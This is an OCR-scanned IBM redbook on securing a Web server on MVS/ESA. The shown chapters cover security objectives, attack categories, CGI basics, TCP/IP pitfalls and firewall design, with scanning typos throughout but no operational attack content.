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Abstract 


This redbook describes how to create a secure impiementation of the internet 
Connection Server for MVS/ESA. it focuses on the Web server side of the Worid 
Wide Web. The impiementation is based on the OS/390 internet BonusPak. 

This document describes the basic server security, which is provided through the 
configuration fiie, and the additionai security faciiities that are provide through 
an externai security manager such as Resource Access Controi Faciiity. 

it aiso provides a high-ievei overview of various impiementation scenarios that 
can be used and expiains the roie of firewaiis in these scenarios. 

The various security threats are discussed in great detaii, as weii as the auditing 
toois that can be used to trace unwanted attempts to steai or damage 
information from your server. 

This redbook was written for security administrators, systems programmers, 
network programmers, security auditors, and aii other personnei invoived in 
pianning, configuring or administering services on the Internet Connection 
Server for MVS/ESA. 

Some knewledge of system and netwerking security is assumed. 

(189 pages) 
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Preface 


This redbook is intended to give the reader an understanding of the issues and 
techniques involved in setting up a secure implementation of the Internet 
Connection Server for MVS/ESA. It contains descriptions of the various security 
facilities and tools that may be used, Illustrated with examples using standard 
products or specific tailored functions of these products. 

This redbook Is Intended for security administrators, systems programmers, 
network programmers, security auditors, and other personnel involved In 
planning, configuring or administering the Internet Connection Server for 
MVS/ESA. 


How This Redbook is Organized 

The redbook Is organized as follows: 

• Chapter 1, “Introducing Security Into the World Wide Web” 

This chapter provides an overview of the security issues of the Internet 
Connection Server for MVS/ESA. It describes the various types of possible 
attacks and the security facilities that are provided. 

• Chapter 2, “Network Security and Firewalls” 

This chapter discusses the network security aspects of the Internet 
Connection Server for MVS/ESA. It provides a description of the firewall 
concept and how firewalls can be used to enhance security for the Web 
server. 

• Chapter 3, “Protecting the Pages on Your Internet Connection Server for 
MVS/ESA” 

The chapter describes the basic server security that is provided through the 
configuration file. It discusses how to Implement a set of authentication and 
authorization rules using the configuration facility. 

• Chapter 4, “Security Considerations When Using Basic Server Security” 

This chapter describes in detail what type of security considerations should 
be addressed when Implementing the Internet Connection Server for 
MVS/ESA. 

• Chapter 5, “Protecting Your Internet Connection Server for MVS/ESA” 

This chapter describes in detail the RACF environment that must be created 
In order to establish a secure Web server. It provides a step-by-step 
procedure that helps you In implementing the RACF environment. 

• Chapter 6, “Protecting the Common Gateway Interface” 

This chapter describes the security Issues that are related to the common 
gateway Interface. It provides samples of CGI script that can be misused by 
clients to execute unauthorized commands on your Web server. 
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• Chapter 7, “Step-by-Step Procedure to Activate Basic Server Security” 

This chapter provides a step-by-step procedure that guides you whiie you 
are pianning the impiementation of basic server security. 

• Chapter 8, “Debugging Server Security Problems” 

This chapter provides an overview of the debugging tools that can be used to 
diagnose security-related problems in the Web server. It gives various 
examples of these debugging tools by using a sample exercise that resulted 
in an error condition. 

• Chapter 9, “Auditing Your Internet Connection Server for MVS/ESA” 

This chapter provides an overview of the available audit tools. It describes 
the audit requirements and how an audit can be performed in the Web 
server environment. 

• Chapter 10, “Where Should You Run Your Internet Connection Server for 
MVS/ESA?” 

This chapter describes the characteristics of the Processor Resource/System 
Manager facility. It provides a description of how to create a secure and 
isolated logical partition in which you can run your Web server if corporate 
security procedures require such an environment. 

• Chapter 11, “Future Security for Your Internet Connection Server for 
MVS/ESA” 

This chapter provides a high-level overview of future security enhancements 
for the Internet Connection Server for MVS/ESA. A subset of Secure Sockets 
Layer and Secure Hypertext Transfer Protocol is supported in a future 
release of the Internet Connection Server for MVS/ESA. 

• Appendix A, “Directives and Sub-directives That Are Used to Control 
Access” 

This appendix provides a high-level overview of the security-related 
directives and sub-directives. These directives are used to implement basic 
server security. 

• Appendix B, “Managing User Identities and Authorizations” 

This appendix describes the differences in the way UNIX and MVS systems 
manage user identities and authorizations. 

• Appendix C, “Sample Auditing Jobs” 

This appendix describes the sample jobs that can be used to verify that the 
Internet Connection Server for MVS/ESA is behaving as planned. These jobs 
enable you to verify that the security controls are having the effect you 
predicted. 

• Appendix D, “A Brief Overview of TCP/IP” 

This appendix provides a comprehensive overview of the TCP/IP protocols. 


Related Publications 

The publications listed in this section are considered particularly suitable for a 
more detailed discussion of the topics covered in this redbook. 

• OS/390 OpenEdition 

- OS/390 OpenEdition MVS Introduction, GC28-1889 
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- OS/390 OpenEdition MVS Planning, SC28-1890 

- OS/390 OpenEdition MVS User's Guide, SC28-1891 

- OS/390 OpenEdition MVS Command Reference, SC28-1892 

- OS/390 Language Environment Concepts Guide, GC28-1945 

- DFSMS/MVS: Network File System User's Guide, SC26-7028 

- DFSMS/MVS: Network File System Customization and Operation, 
SC26-7029 
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- ES/9000 9121 511-Based Models Operating Guide, SA24-4361 
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Product: JES2 Version 5 and JES3 Version 5, GC28-1445 

- ESCON Introduction, GA23-0383 

- MVS/ESA Planning: Operations, GC28-1441 

Resource Access Control Facility 

- OS/390 Security Server (RACE) Support for: OpenEdition DCE, 

SOMobjects for MVS, and SystemView for MVS, GC28-1924 
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Subscribing to internet Listserver 


IBM redbook titles/abstracts are now available through Internet E-mail via the 
IBM Announcement Listserver. With an Internet E-mail address, anyone can 
subscribe to an IBM Announcement Listserver. All it takes is a few minutes 
to set up a profile, and you can get news (in ASCII format) from selected 
categories. 

To initiate the service, send an E-mail note to: 
announce@webster.ibmlink.ibm.com 

with the keyword subscribe in the body of the note (leave the subject line 
blank). A category form and detailed instructions will be sent to you. 

To obtain more details about this service, employees may type the following: 
TOOLS SENDTO USDIST MKTTOOLS MKTTOOLS GET LISTSERV PACKAGE 

Note: INEWS users can select Relinfo from the action bar to execute this 
command automatically. 
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Chapter 1. Introducing Security into the World Wide Web 


The popular impression that many people have of the Internet is that hundreds of 
scoundrels and bad guys are lurking around the net, recording your every 
transmission and trying to take possession of your bank account. The reality, of 
course, is less dramatic. The risk that you take if you send a credit card number 
over the Internet is probably no greater than the risk you take every time you 
hand the card over to a gas-station clerk or tell someone the number over the 
telephone. 



Figure 1. How Much Confidence Do You Put Into The Internet? 

However, there is some risk involved, if only because of the open and anarchic 
nature of the Internet. If the promise that the Internet (and in particular its 
precocious offspring, the World Wide Web) is to be fully realized, it is important 
that users have confidence in it. 

In this book we deal with setting up security when you install and implement the 
Internet Connection Server for MVS/ESA. The aim of this book is to show how 
the different security pieces fit together to implement one specific solution: a 
Web Server for MVS. 


1.1 Some Security Concepts and Terms 

One of the biggest preblems with security is knowing how much is enough. Take 
the example of a private house. You can imagine a series of increasingly secure 
features: 

• Curtains on the windows to prevent people frem seeing in 

• Locks on the doors, to stop a thief walking in 

• A big, ugly dog to keep unwanted visiters away 

• An alarm system to detect intruders 
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• An electric fence, mine field and armed guards 

Clearly, it is possible to have too much security. In general you should try to 
aim for an appropriate level of security, based on the following three faotors: 

1. The threat (what kind of neighborhood do you live in?) 

2. The value of what you are protecting (how many Van Goghs do you have?) 

3. The objective of your security measures 

This last factor Is less obvious than the other two, but equally Important. To go 
back to the example of the house; If the objective we are aiming for Is “to stop a 
thief walking in,” the most appropriate security measure may well be the locks 
on the doors. 

In this book we are Interested In creating an appropriate level of security that 
prevents unauthorized people from accessing your Web server or other services 
or data that might be available on the platform you are running your Web server 
on. 

The value of the data we are protecting varies enormously, so we have to be 
oonstantly alert to make sure that our seourlty level is appropriate. 

The objectives of our security measures will depend on what type of data we are 
protecting. It Is Important to use consistent language for describing these 
objectives, because the terms can be ambiguous. For example. If we talk about 
a message being “authentic,” do we mean that we know It has not been 
ohanged, or that we know where It came from? 

1.1.1 Security Objectives 

Depending on your role as a player on the Internet, you will have different 
security objectives. Referring to Figure 1 on page 1, if you are the end-user that 
is using a “electronio commerce” facility on the Internet, you like to be sure 
about things like: 

• Who is it I am talking to? 

• Can I trust him? 

• What happens with my credit card information? 

• Can he use my payment twice? 

Flowever, if you are the provider of that electronic commerce facility you might 
have different security objectives. For example, you like to know the following: 

• Who has access to my systems? 

• Can he prove his identity? 

• What else on my system can he access? 

• Flow can I bill him? 

• Who guarantees his payment? 

Security objectives fall Into one or more of the following five categories: 

Access Control: 

Assurance that the person or computer at the other end of the session is 
permitted to do what he asks for. 

Authentication: 

Assurance that the resource (human or machine) at the other end of the 
session really Is what It claims to be. 
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Integrity: 

Assurance that the information that arrives is the same as when it was 
sent. 

Accountability 

Assurance that any transaction that takes piace can subsequently be 
proved to have taken place. Both the sender and the receiver agree that 
the exchange took place (also called non-repudiation). 

Privacy: 

Assurance that sensitive information is not visible to an eavesdropper. 

This is usually achieved using encryption. 

Note: Not all the security objectives can be met with the current version of the 
Internet Connection Server for MVS/ESA that is part of this OS/390 Internet 
BonusPak. Refer to Chapter 11, “Future Security for Your Internet Connection 
Server for MVS/ESA” on page 137 for an overview of future enhancements in the 
product that will allow you to address all the objectives as described above. 

1.1.2 What Mechanisms Provide Security? 

Security on the “information super highway” can be provided by the following 
mechanisms. Refer to Figure 2 for an overview of these mechanisms. 



► SET 


Figure 2. Security Mechanisms on the Information Super Highway 

The provider of the service can protect his environment by using firewaiis. 
Firewalls can control: 

• Which computers on either side of the firewall can be accessed 

• In what way can these computers be accessed 

• Who can access these computers 

• Flow does the end-user identify and authenticate himself 

Refer to Chapter 2, “Network Security and Firewalls” on page 15 for a 
comprehensive overview of firewall protection. 
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The provider of the service on the Internet should also look Into the security 
facilities that are provided with the platform his service is running on. Platform 
security can provide, for example, the following security facilities: 

• End-user identification and authentication 

• Access control for applications and data 

• Audit records 

Refer to: 

Chapter 3, “Protecting the Pages on Your Internet Connection Server for 
MVS/ESA” on page 31 

Chapter 4, “Security Considerations When Using Basic Server Security” on 
page 43 

Chapter 5, “Protecting Your Internet Connection Server for MVS/ESA” on 
page 47 

for a comprehensive overview of platform security for the Internet Connection 
Server for MVS/ESA. 

The owner of the service and the end-user should agree on the protocols that 
are used to connect to each other and that provide enhanced security on the 
Internet. Among these protocols you will find: 

• Secure Sockets Layer (SSL) 

• Secure Hypertext Transfer Protocol (S-HTTP) 

• Secure Electronic Transactions (SET) 

These protocols provide: 

• Authentication 

• Integrity 

• Accountability 

• Privacy 

for messages that are sent over the information super highway. For a 
comprehensive overview of these protocols, refer to Chapter 11, “Future 
Security for Your Internet Connection Server for MVS/ESA” on page 137. 

Most of the difficulty of setting up secure protocols such as SSL, S-HTTP, and 
SET lies in obtaining and handling the cryptographic keys that should be used by 
both parties. Although the protocols do provide ways to distribute encryption 
keys in a secure manner, you still need to be sure that the owner of that key is 
really who he claims to be. Also, in case of a dispute about the validity of a key, 
there should a be “trusted third party” that can prove that keys being used for a 
specific transaction are the keys that were assigned to that transaction. 

This is what (public-key) certificates are all about. The idea is that when 
someone sends you their (public) key, they send it packaged in a special format 
called a certificate. In addition to the key itself, the certificate contains some 
information about the sender, such as company name and address. The whole 
package is signed, using cryptographic techniques, by some “trusted 
organization,” called a certifying authority. What this certificate tells ycu is that 
the certifying autherity vouches fcr the fact that the cryptographic key really dees 
belong to the organization identified by the name in that certificate. This means 
that you can use the cryptographic key with ccnfidence, as Icng as you trust the 
certifying authority itself. 
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This leads to the next question: where will you find a certifying authority that you 
can trust. At this point, the question of technology turns into one of philosophy: 
who can you trust to tell you who you can trust. 

In corporate networks, the provider of the service can safely act as a certifying 
authority for the corporate employees. But for an Internet service, a trusted 
third-party organization should be used as a certifying authority. 

This topic is not discussed in this redbook. For a detailed discussion on this 
topic, refer to: Safe Surfing: How to Build a Secure World Wide Web Connection. 

1.1.3 Types of Attack 

The Internet is home to a variety of criminals who pose threats to the security of 
WWW communications. They may attempt a number of different types of attack. 
For example: 

Passive Attacks 

In a passive attack the perpetrator simply monitors the traffic being sent to 
try to learn secrets. Such attacks can be either network based (tracing the 
communications links) or system based (replacing a system component 
with a Trojan Horse that captures data insidiously). Passive attacks are the 
most difficult to detect. You should assume that someone is eavesdropping 
on everything you send across the Internet. 

Active Attacks 

In these, the attacker is trying to break through your defenses. There are 
several types of active attack. For example: 

• System access attempts, where the attacker aims to exploit security 
loopholes to gain access and control over a client or server system. 

• Spoofing, where the attacker masquerades as a trusted system te try to 
persuade you to send him secret information. 

• Cryptographic attacks, where the attacker attempts te break your 
passwords or decrypt seme of your data. 

Denial of Service Attacks 

In this case the attacker is not so much trying to learn your secrets as te 
prevent your operation, by re-directing traffic or bombarding you with junk. 

Social Engineering Attacks 

One active attack method that has proven highly successful for hackers is 
pepularly knewn as the social engineering technique. This involves 
persuading someone in an organization to part with sensitive access 
control information, such as user IDs and passwords. 

Several forms of the social engineering attack have been recorded, for 
example: 

• Pulling rank. The attacker identifies a new recruit in the organizatien 
and telephones them, claiming to be a high-ranking official who is out 
of the office. The target is so nervous about creating a good 
impression that he or she will give out secret information, rather than 
appear to be obstructive. 

• One of us. The attacker claims that a genuine systems administrator 
told him to get in touch and arrange a guest account or some other 
access. This needs an understanding of the system support 
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departments. By appearing to be just “one of the gang” the attacker 
can persuade the target to lower his or her guard. 

Social engineering attacks are the realm of the con-artist, rather than the 
cunning technician. Indeed anyone could attempt them, given an 
organization chart and a convincing telephone manner. As loopholes in 
the software are progressively identified and patched up, you can expect 
this kind of attack to become more common. The only defense is to put 
good administrative procedures in place, and to apply them rigidly. 


1.2 OS/390 Internet BonusPak Security Considerations 

In simple terms, the World Wide Web is just another application that uses TCP/IP 
network protocols. However, it does have some unique features that pose 
particular security problems. We will describe the environment that is 
implemented with the OS/390 Internet BonusPak and then look at the ways in 
which it is vulnerable to attack. 

1.2.1 The Environment Created by the OS/390 Internet BonusPak 

Figure 3 shows the different components that can be implemented and exploited 
when the OS/390 Internet BonusPak is installed. 



Figure 3. The Environment Created by the OS/390 internet BonusPak 

As this diagram shows, there are different ways of accessing the Internet 
Connection Server for MVS/ESA. The upper network on the diagram is the 
Internet, which is a data communications network in the conventional sense. 
Systems in the network communicate using the Internet Protocol (IP) and provide 
application programming interfaces (APIs) so that applications can make use of 
the network connections. 


6 MVS Web Server: Security 




























































The only unusual thing about the Internet compared to the average data 
communications network Is that Is not a single network at all, but a collection of 
autonomous networks linked together by other, routing networks. 

The bottom network on the diagram is a so called corporate network that Is 
Identical to the Internet except for one big difference. The corporate network is 
controlled by the company and does not pass through any unknown network 
component, such as routers or bridges, without additional security measures. 

For example. If the corporate network Is passing through a public network, 
cryptographic facilities should be available to add an additional security layer to 
network traffic that normally does not use cryptographic functions such as 
privacy and confidentiality. 

The third network (depicted in the middle of the diagram) is a System Network 
Architecture (SNA) network with access to the Internet Connection Server for 
MVS/ESA. Using an AnyNet Sockets over the SNA Gateway configuration that 
connects SNA and TCP/IP networks, users on SNA workstations with AnyNet 
software can access the World Wide Web using Sockets applications such as 
WebExplorer or any other Web Browser. So, users can stay connected to their 
corporate SNA backbone, or an SNA network provider such as IBM Global 
Network, and, with minimal changes, access the Web Server. 

1.2.2 How the World Wide Web Works 

The World Wide Web consists of server and client (browser) systems scattered 
around the Internet. Most of the time a WWW server does one, very simple, job; 
It sends a document to a client machine when the client requests It. The method 
It uses to do this is the Hypertext Transfer Protocol (HTTP). HTTP Is a method 
for encapsulating a variety of data types in a common packaging format. HTTP 
is a lightweight, stateless protocol. This means in practice that each document 
request is a new connection; once the document has been transferred, the 
session is closed and the server forgets all about the client. 

The server does not care what the package contains; it simply delivers it, over a 
TCP/IP connection, to the client. It Is then up to the browser code In the client to 
Interpret the document and present it. The most common document format in 
the World Wide Web uses the Hypertext Markup Language (HTML). HTML 
documents are comprised of text containing embedded tags, which Instruct the 
browser how to present the text and additional graphics files. The basic form of 
a page Is a simple HTML document that prints a heading and Imbeds a 
Graphical Interchange Format (GIF) file. There are many books available that 
can teach you HTML, often in great detail. 

For a brief but thorough Introduction to the subject, we recommend Using the 
Information Super Highway. 

So far, what we have described Is just a nifty way to present online documents 
across a network. What makes the World Wide Web special Is the ability to 
define hypermedia links to other servers. Documents In a WWW server are 
Identified by means of a Uniform Resource Locator (URL), In the form: 

protocol://server_name:port/fi1e_name 

An HTML document can contain references (usually called links) to URLs on any 
system. When the user follows one of those links, the browser program will 
establish an HTTP session to the server identified in the URL (server_name) and 
request the document contained in file_name. For example, the anchor tag 
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<A HREF=http://srv2/thing2.htnil>Clicl< Here</A> 

causes the user to have a line on the screen that says Click Here. After doing 
so the user will be automatically connected to server srv2 and will receive the 
document thing2.html. 

Now we can see how these hypermedia links bind the WWW servers together in 
an application-level network. However, unlike a conventional network, there are 
no real connections between the servers. The links that form the Web are 
simply pointers within HTML documents. 

1.2.3 Two-Way Traffic 

As described earlier, the World Wide Web is primarily a way to deliver 
documents to users, with powerful cross-referencing capabilities. However, it 
also provides the ability to create simple application dialogs that allow users to 
transmit information back to the Web server. Two things are necessary for the 
two-way traffic support: 

• A special type of HTML document called a form 

• A Common gateway interface (CGI) script to process these forms when they 
are submitted 

1.2.3.1 Forms 

As depicted in Figure 4, forms can contain input fields, lists for the user to select 
from and buttons for the user to click. The result of all this typing, selecting and 
clicking is to invoke a program on the server. 


Method is GET or POST 

• Menus 

• Checkboxes 

• Text input areas 

• Radio buttons 

URL of program or script 



Gateway program 


Figure 4. Forms, or so Cailed Levei 2 HTML 

Forms can be used to collect information from users or to implement new 
methods of interactive, Web-based communication. As depicted in Figure 4, 
forms can be used to present an interface consisting of: 

• Menus 

• Checklists 

• Fill-in-the blank boxes 

• Radio buttons 

A form sets up a set of paired variable name field and value field. The variable 
name is supplied in the form. The user filling out the form supplies or selects 
the variable values. Default values can be coded into the form. 
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Each form has a method and action associated with it. The method specifies 
how the data from the form is to be bandied in processing. Possibie vaiues are 
GET and POST. The action identifies the executabie program or script that wiil 
process the data from the form. 

Query forms that make no iasting changes in the state of a HTML document or 
other data (for exampie, a database query) shouid use the method GET. 

Forms that do make changes in a HTML document, in a database, or in some 
other vaiue, shouid use the method POST. 

After the end-user filis in form vaiues, the entries can be used by a script or 
executabie program (a gateway program). This gateway program can then 
access databases, other software, or any other program or data that the 
appiication deveioper designates. Based on the resuits, an HTML document can 
be dispiayed in the end-user's browser showing the resuits of the gateway 
program execution. 

Figure 5 summarizes the generai reiationships among forms, an executabie 
gateway program, and other data. 



1.2.3.2 The Common Gateway Interface 

In the eariy days of the Web, each server piatform offered its own form of 
executable support. This functionality aiiows a server to cail upon an executabie 
program to assist in fuifiiling a request. In order to provide a standard interface 
so that users couid write generai scripts, a common gateway interface (CGI) was 
developed. 

CGI is a standard, not a specification. Its purpose is to provide a means of 
passing information between servers and executables so that input from users 
can be used by the executable programs. 


The CGI is not a programming language either. It is simply a standard to which 
both the server and the executable program can adhere in order to communicate 
effectively. 
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When the server and the executable program need to communicate with one 
another, only two things need to be agreed upon: 

• The way the server passes input to the executable program 

• The way the program passes its output back to the server 
Figure 6 depicts an overview of the common gateway interface. 



Figure 6. The Web Server Connecting to a Gateway Program 

The flow of a client-server communication interchange involving a CGI script is 
as follows: 

1. The client connects to the HTTP server and makes its request. 

2. The server sets several environment variables and runs the CGI program. 

The server passes, whatever input was received with the request, to the CGI. 

3. The CGI program passes its results back to the HTTP server after completing 
its processing. 

4. The HTTP server sends its response back to the client. 

Before the HTTP server starts up the CGI program, it must set values of some 
known environment variables. An environment variable is a variable that is 
accessible not only to the program that defines it, but also to all other 
executables that may be called from the initial program. Therefore, when a 
server sets environment variables and then starts the CGI program, the CGI 
program also has access to these variables. CGI uses environment variables to 
pass information from one process to another, and the standard defines how 
these variables are to be interpreted. 

Among these environment variables there are fields that, for example, pass 
information about the end-user (or client) that requested the this service. 
Depending on the type of authentication that is used, the REMOTE_USER variable 
contains the name of the user that was provided during the authentication 
process. This information can then be used in the program that is called by the 
CGI script to do access control checks to, for example, other programs (or OLTP 
transactions) or databases. 

The HTTP protocol has an important property; it is stateless. Stateless means 
that after the server has responded to the client's request, the connection 
between client and server is dropped. This has important ramifications and is in 
direct contrast to the basic concepts of the modern OLTP processes. In, for 
example, a CICS transaction, if a request is honored you are still logged on to 
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the CICS systems. You are logged on, and ready to do a new request, until you 
explicitly quit, or log off from the CICS system. 

Statelessness also means that there is no “memory” between client 
connections. In the pure HTTP server implementations, there is no trace of 
recent activity from a given client address, and the server treats every request 
as if it were brand-new; that is, without context. 

The server (and the CGI script) has to provide a workaround that maintains the 
state or alters the state that in effect keep the client-server connection alive for 
more than one cycle. 

The CGI standard does not place restrictions on which programming languages 
my be used to create executable programs. Commonly used languages for CGI 
programs (or so called scripts) are: 

• REXX 

• Perl 

• C 

• C -I- -I- 

The flexibility and ease of use of the Web have directly fuelled the current 
exponential growth of the Internet. This growth, combined with the development 
of the CGI concept make, it necessary to seriously consider the Web as a means 
of accessing your traditional online transaction processing (OLTP) environment 
such as CICS. 

Refer to Chapter 6, “Protecting the Common Gateway Interface” on page 77 for 
an high-level overview of the CICS interface that will be available in the Internet 
Connection Server for MVS/ESA. 

Refer to Accessing CICS Business Applications from the World Wide Web and 
CICS/ESA and TCP/IP for MVS Sockets Interface for a comprehensive overview of 
the various CICS interfaces to the World Wide Web. 

1.2.4 Where the Web Is Vulnerable 

When you place your World Wide Web server on the Internet you are inviting 
people to come and connect to it; in fact, it would be very disappointing if they 
did not connect. However, when you expose the machine to legitimate access 
you are also exposing it to attack. A Web server should therefore be protected 
like any other application server in the Internet environment. In some cases, 
you need to install firewalls. In other cases good systems administration 
practices coupled with a sophisticated security product is sufficient. Other 
installations will require cryptographic facilities on top of their standard security 
implementations. 

The nature of the World Wide Web application gives some additional areas for 
concern. The following list summarizes some of these vulnerabilities: 

• When the user clicks on a link, the system he gets connected to is 
determined by what is defined in the document stored on the server. If that 
server has been compromised, a hacker could misdirect the user to his own 
server. 

• CGI programs are often written ad hoc, rather than being properly designed. 
This means they likely contain bugs, that may be exploited by a hacker. We 


Chapter 1. Introducing Security into the World Wide Web 11 



show some examples of dangerous things to avoid in CGI scripts in 
Chapter 6, “Protecting the Common Gateway Interface” on page 77. 

• HTML documents can imbed many different types of data (graphics, sound, 
and so forth). On the browser, each data type is associated with a 
presentation program, called a viewer. These programs are, themselves, 
often large and complex, which means they may well contain bugs. 
Furthermore, some of the file formats contain some programmability (a good 
example of this is Postscript). A hacker could use these features to execute 
programs or install data on the client machine. 

1.2.5 What Type of Security Facilities are Provided? 

As we divide the World Wide Web itself into an application layer and an 
underlying network layer, we can expect the tools we use to protect it to be 
similarly divided. 

• In the application layer, there are three kinds of protection mechanisms that 
we can apply: 

1. The security of the platform you are running your Web server on. In 
case of Internet Connection Server for MVS/ESA, this security is built on 
hardware and software facilities that enable you to achieve a security 
level as high as C2 as specified in the Department of Defense Trusted 
Computer System Evaluation Criteria, DoD 5200.28-STD. 

2. The WWW basic security mechanism. This is a system that uses user 
IDs and passwords to apply access control to documents and files in a 
Web server. These authorization checks and the user ID identification 
and authentication can be performed within the Web server application 
or can be executed in a external security product such as Resource 
Access Control Facility. We describe the way that basic security is 
applied in Chapter 5, “Protecting Your Internet Connection Server for 
MVS/ESA” on page 47. 

3. Encryption-based mechanisms. These systems provide various levels of 
authentication, integrity, accountability and privacy by applying 
cryptography to the connection. There are several mechanisms, but the 
two that will be implemented in a future version of Internet Connection 
Server for MVS/ESA are Secure Sockets Layer (SSL) and Secure 
Hypertext Transfer Protocol (SHTTP). We describe these protocols and 
show examples of implementing them in Chapter 11, “Future Security for 
Your Internet Connection Server for MVS/ESA” on page 137. 

• In the underlying IP network layer, security measures are aimed at 
preventing hackers from gaining access to private networks and systems. 
Internet firewalls, such as the IBM Internet Connection Family Secure 
Network Gateway, are the tool used to protect networks. We discuss 
possible firewall configurations for World Wide Web access in Chapter 2, 
“Network Security and Firewalls” on page 15. Although a firewall can keep 
your private network hidden, it is equally important to protect the systems 
that are not hidden, such as WWW servers and the firewall itself. 
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1.2.6 What Types of Decisions Do You Need To Make? 

The types of decisions you need to make about security in your Web Server 
impiementation are based of the foiiowing issues: 

• What type of data are you sending? Is it corporate data or is it data that you 
want to make pubiic? Do you ailow users to send filied in forms to you? 

• What type of network connection are you using; is it a corporate network or 
is it the internet? Is there a need for a firewall? 

• Should you run the Internet Connection Server for MVS/ESA on your 
production MVS system, on a dedicated MVS system with shared DASD and 
data, or on a dedicated MVS system, running in an isolated LPAR with 
non-shared DASD and data? 

• Should you allow user identification by using user ID and passwords? Do 
you not want to know who your users are since you just send them public 
pages, or do certain users have different accesses? 

• Should you spend time on writing your own CGI scripts, or should you just 
copy them from another Web Server implementation? The other Web Server 
might run on a different platform and might use a different type of security 
product. 

The following chapters address these issues. Each chapter has 
recommendations that might help you make your decisions. 
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Chapter 2. Network Security and Firewalls 


As stated earlier in this book, the intent of a Web server is to get people to 
access it and consume the information in it. It represents a company image in 
the information super highway and therefore it is very crucial that the Web 
server is up and running and serving the potential customers continuously. 

However, among the tens of millions of users roaming in the Internet, there are 
always people who for one reason or another want to cause harm and 
disturbance. These people usually take advantage of the features of the 
underlying network protocols when breaking into systems. To protect your Web 
server against such incidents, you have to take precautions not only on the Web 
server level but also on the network level. 

This chapter discusses the network security aspects of the Internet Connection 
Server for MVS/ESA. First, a typical network security configuration for a Web 
server solution is described. This chapter also provides a description of three 
scenarios where the Internet Connection Server for MVS/ESA is used. The 
security issues for these scenarios are addressed. 


2.1 Network Security Elements 

In addition to the security configuration of the actual Web server software and 
the system it is running on, the total picture of a Web security solution consists 
of other elements, most of which have something to do with networking. 

Network security is usually divided between physical and logical security. 

Physical network security issues deal with the hardware layer of the network 
connection. Typical exposures are line tapping and access to computers 
working as gateways or routers in the network configuration. 

When dealing with the Internet, physical network security is naturally a serious 
concern. A connection over the Internet transfers the packets in a session 
through numerous computers and networks connected to each other with the 
TCP/IP protocol. Anyone being able to access one of these computers or 
communication links may be able to record the messages that are being 
transferred over the line. The only protective measure against this is the use of 
cryptographic measures to encrypt the data between the sender and the 
receiver. 

The first release of the Internet Connection Server for MVS/ESA does not support 
any data encryption over the Internet connection. Therefore we do not 
recommend that you send confidential data, such as credit card information, 
across the Internet. Whether you can transfer confidential data unencrypted 
inside your own corporate network is another question that has to be assessed 
separately. 

The cryptographic functions to be incorporated in a future release of the Internet 
Connection Server for MVS/ESA are described in Chapter 11, “Future Security 
for Your Internet Connection Server for MVS/ESA” on page 137. 

Logical network security usually deals with authentication and control of software 
functions, which can be used to access network addresses, applications, or data. 
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Essential logical security elements in conjunction with Web servers are TCP/IP 
protocols and firewalls. 

2.1.1 TCP/IP Security Issues 

The TCP/IP protocol used between Internet browsers and servers was designed 
with easy connectivity in mind. This is one of the main reasons why the Internet 
itself has become so popular. However, in favoring connectivity, it lacks some 
controllability in terms of security. 

This book does not provide a description of the fundamentals of TCP/IP 
networking. If you are not familiar with TCP/IP at all, there is a short summary 
of its features in Appendix D, “A Brief Overview of TCP/IP” on page 173. For a 
detailed description of TCP/IP features, see the TCP/IP Tutorial and Technical 
Overview. 

Some general reasons why the security in TCP/IP networks is considered more 
problematic than, for example, the security in SNA networks are as follows: 

• In TCP/IP there is no central control of the definitions that are made in the 
network. The peer-to-peer networking philosophy does not exercise central 
control, which is common in SNA networking. 

• Source code for TCP/IP has always been available and the details of its 
features are known by a massive number of experts. 

• Some very powerful tools for penetration of TCP/IP networks, such as the 
well-known Satan utility, are freely available from the Internet. 

• Extensive descriptions of TCP/IP security holes and instructions on how to 
exploit them are freely available from various places in the Internet. 

Note: This is not to imply that TCP/IP protocol itself is insecure; rather it means 
that you have to analyze very carefully the security of your applications (and the 
systems they are running on) that are to be connected to the public TCP/IP 
networks. 

Two known examples of TCP/IP security pitfalls, which are referred to in this 
chapter many times, are the following: 

• Authentication based on a source IP address 

Never trust a source IP address that is passed to the server from the client 
in the IP header. There are two issues involved with this. First of all, in a 
standard PC office environment it is a minor task to change the IP address of 
a workstation and masquerade as someone else. This is because a TCP/IP 
on a personal workstation can be freely reconfigured. 

Another, more serious, problem is that there are tools and techniques to 
bypass restrictions based on IP addresses. A determined hacker can spoof 
his IP address, making it seem as if he is coming from a location different 
from his real address. Therefore, you should always use some additional 
authentication methods in conjunction with IP addresses, such as user ID 
and password checking. For more information on the techniques used to 
bypass IP addressing restrictions, see Building a Firewall with the NetSP 
Secured Network Gateway. 

The third problem with protection based on IP addressing is created by the 
possible proxy servers and firewalls at the other end of the connection. If 
the user who is coming from the Internet is actually behind a proxy server or 
a firewall, the IP address that is provided in the connection is the IP address 
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of a proxy server or a firewall. The idea behind proxy servers and firewalls 
Is to hide the user's real address from the outside. This means that in 
certain cases you would have to authorize a proxy server's or firewall's IP 
address to access some protected information, without even knowing the 
number of users that exist behind those addresses. 

• Dangerous TCP/IP applications 

Some of the TCP/IP commands provide facilities that do not enforce a secure 
authentication of the user. For example, the rlogin command, used for 
remote logins, bypasses user ID and password authentication if the host 
name of the connecting machine is defined in a specific file on the server. 

Some of the TCP/IP security Issues also exist In the MVS TCP/IP implementation. 
However, when OpenEdItlon MVS Is the environment for the Web server, the 
latter Issue Is not as severe as with some other common Web server platforms. 
This is because the OpenEdition MVS implementation of TC/IP does not allow 
authentication of users without a user ID and password with rlogin and rsh 
commands. 

Nevertheless, a good design practice for the Internet Connection Server for 
MVS/ESA security is to run as few TCP/IP services as possible, and, if user 
authentication is required, to rely not solely on the source IP address. In 
general terms, the fewer services and functions the Web server includes, the 
more resistant it is to outside attacks. 

2.1.2 What Is a Firewall? 

In Figure 7 there is a control element between the Web server and the corporate 
secure network: the so-called firewall solution. A firewall consists of several 
different components. Filters, sometimes called screens, control transmission of 
certain classes of traffic. 


Web server 



Figure 7. Internet Network that Includes Firewalls 

The main objective of this firewall is to prevent the services that are available in 
the private company network from being accessed from the Internet. 

The network inhabited by the filters is often called the demilitarized zone (DMZ). 
Typically, the two firewalls will have more open communication through the 
inside filter than the outside firewall has to other internal hosts. In general, the 
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outside filter can be used to protect the DMZ from attack, while the inside filter is 
used to guard against the consequences of a compromised outside firewall. 

A firewall can be a function on a shared system, but it is usually a separate 
dedicated machine that controls the following: 

• Which computers on either side of the firewall can be accessed 

• In what way they can be accessed 

• Who can access them 

Firewalls usually have diverse functions for different network configurations and 
setups, and not all of them are always implemented. In the context of Web 
servers, the most essential function of a firewall is the ability to do packet 
filtering based on very detailed criteria. 

